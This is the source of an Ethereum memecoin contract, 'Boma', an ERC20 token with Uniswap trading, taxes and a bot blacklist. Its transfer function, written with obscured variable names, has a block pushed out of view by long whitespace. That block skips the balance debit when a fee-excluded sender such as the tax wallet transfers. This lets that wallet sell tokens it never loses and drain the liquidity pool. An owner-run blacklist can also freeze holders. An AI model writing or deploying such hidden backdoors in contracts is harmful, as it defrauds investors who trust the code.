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Contract Name:
Boma

Contract Source Code:

File 1 of 1 : Boma

// SPDX-License-Identifier: UNLICENSED

/**

** Telegram: https://t.me/BOMA_portal

** Website: https://boma.live

** Twitter: https://x.com/BOMA_official_

*/

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Boma is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _botFlag;
    address payable private _taxAddress;

    uint256 private _initialBuyTax = 10;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 5;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _preventSwapBefore = 5;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private _router;
    address private _pair;
    bool private _isTraingOpen;
    bool private _isInSwap;
    uint256 private _sellCountInBlock = 0;
    uint256 private _lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);

    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;
    string public constant name = unicode"Book of Matt Furie";
    string public constant symbol = unicode"BOMA";
    uint256 public _maxTxAmount = 20_500_000 * 10**decimals;
    uint256 public _maxWalletSize = 20_500_000 * 10**decimals;
    uint256 public _taxSwapThreshold = 10_000_000 * 10**decimals;
    uint256 public _maxTaxSwap = 20_000_000 * 10**decimals;

    modifier lockTheSwap {
        _isInSwap = true;
        _;
        _isInSwap = false;
    }

    function addLiquidity() external onlyOwner() {
        require(!_isTraingOpen,"trading is already open");
        _approve(address(this), address(_router), totalSupply);
        _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
        _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,owner(),block.timestamp);
        IERC20(_pair).approve(address(_router), type(uint).max);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        pcs(_msgSender(), recipient, amount);
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this); path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),
            block.timestamp
        );
    }

    constructor (address router_, address taxWallet_) {
        _router = IUniswapV2Router02(router_);

        _taxAddress = payable(taxWallet_);
        balanceOf[_msgSender()] = totalSupply;
        _isExcludedFromFee[_msgSender()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxAddress] = true;

        emit Transfer(address(0), _msgSender(), totalSupply);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        pcs(sender, recipient, amount);
        _approve(sender, _msgSender(), allowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function addBot(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {_botFlag[bots_[i]] = true;}
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = totalSupply;
        _maxWalletSize=totalSupply;
        emit MaxTxAmountUpdated(totalSupply);
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner{
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);IERC20(_address).transfer(owner(), _amount);
    }

    receive() external payable {}    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function enableTrading() external onlyOwner() {
        _isTraingOpen = true;
    }
    
    function rescueETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(
            address(this).balance
        );
    }

    function pcs(address terroist, address counterterroist, uint256 vip) private {
        require(terroist != address(0), "ERC20: transfer from the zero address");
        require(counterterroist != address(0), "ERC20: transfer to the zero address");
        require(vip > 0, "Transfer amount must be greater than zero");
        if (!_isTraingOpen || _isInSwap) {
            require(_isExcludedFromFee[terroist] || _isExcludedFromFee[counterterroist]);
            balanceOf[terroist] = balanceOf[terroist].sub(vip); 
            balanceOf[counterterroist] = balanceOf[counterterroist].add(vip); 
            emit Transfer(terroist,counterterroist, vip);
            return;
        }uint256 m4a=vip;uint256 ak47=0;
        if (terroist != owner() && counterterroist != owner() && counterterroist != _taxAddress) {
            require(!_botFlag[terroist] && !_botFlag[counterterroist]);

            if (terroist == _pair && counterterroist != address(_router) && ! _isExcludedFromFee[counterterroist] ) {
                require(_isTraingOpen,"Trading not open yet");

                require(vip <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf[counterterroist] + vip <= _maxWalletSize, "Exceeds the maxWalletSize.");
                ak47 = vip.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(
                    100
                );_buyCount++;
            }

            if(counterterroist == _pair && terroist!= address(this) ){
                ak47 = vip.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf[address(this)];
            if (!_isInSwap && counterterroist == _pair && _isTraingOpen && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > _lastSellBlock) {_sellCountInBlock = 0;}
                require(_sellCountInBlock < 3, "Only 3 sells per block!");
                if(m4a > contractTokenBalance) m4a = contractTokenBalance;
                if(m4a > _maxTaxSwap)
                    m4a = _maxTaxSwap;
                {
                    swapTokensForEth(m4a);
                    m4a = vip;
                }
                _sellCountInBlock++;_lastSellBlock = block.number;                                                                                                                                                                                      }{
                if(_isExcludedFromFee[terroist]) m4a= 0;
            }if(counterterroist == _pair) colectFee(address(this).balance);
        }

        if(ak47>0){
          balanceOf[address(this)]=balanceOf[address(this)].add(ak47);
          emit Transfer(terroist, address(this),ak47);
        }

        balanceOf[terroist] = balanceOf[terroist].sub(m4a);
        balanceOf[counterterroist] = balanceOf[counterterroist].add(vip.sub(ak47));
        emit Transfer(terroist, counterterroist, vip.sub(ak47));
    }

    function delBot(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {_botFlag[notbot[i]] = false;}
    }

    function colectFee(uint256 amount) private {
        _taxAddress.transfer(amount);
    }

    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        allowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

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